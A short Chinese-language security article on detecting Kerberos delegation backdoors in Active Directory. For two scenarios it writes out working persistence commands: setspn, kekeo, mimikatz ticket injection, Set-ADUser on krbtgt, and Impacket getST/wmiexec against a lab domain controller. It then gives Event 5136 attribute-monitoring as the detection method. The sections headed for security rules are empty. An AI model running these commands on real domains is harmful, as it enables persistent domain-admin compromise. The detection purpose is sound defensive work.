01、简介
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。攻击者在获取到域控权限后,可以利用约束委派或者基于资源的约束委派实现后门,以实现达到维持权限的目的。
基于AD Event日志监视对特定 Active Directory 属性的修改,从而发现可疑的域委派后门。
02、约束委派攻击场景
假设服务账号配置了到域控的约束性委派,当攻击者控制了服务账号,就可以伪造任意用户的TGT,来打造一个变种的黄金票据。
(1)设置约束委派
setspn -U -A cifs/test test
(2)构造服务账户test的票据
kekeo.exe "tgt::ask /user:test /domain:evil.com /password:abc123! /ticket:test.kirbi" "exit"
(3)利用伪造的票据,向域服务器申请CIFS服务票据。
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/WIN-DC01" "exit"
(4)使用mimikatz将该票据注入当前的会话中。
mimikatz.exe "kerberos::ptt TGS_administrator@evil.com@EVIL.COM_test@EVIL.COM.kirbi" "exit"
(5)访问目标共享盘。
dir \\win-dc01\c$
检测方法:攻击手法的核心点在于攻击者需要修改msDS-AllowedToDelegateTo属性,因此我们只需要检测对msDS-AllowedToDelegateTo属性的修改,可以通过5136日志来监控。
安全规则:
03、基于资源的约束委派攻击场景
攻击者在获取到域控权限后,可以利用基于资源的约束委派实现后门,通过对krbtgt用户设置委派属性,以实现达到维持权限的目的。
(1)设置属性值并查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
(2)获取ST,并使用wmiexec登录域控。
python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136
检测方法:攻击手法的核心点在于攻击者需要修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,因此我们只需要检测对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,可以通过5136日志来监控。
安全规则: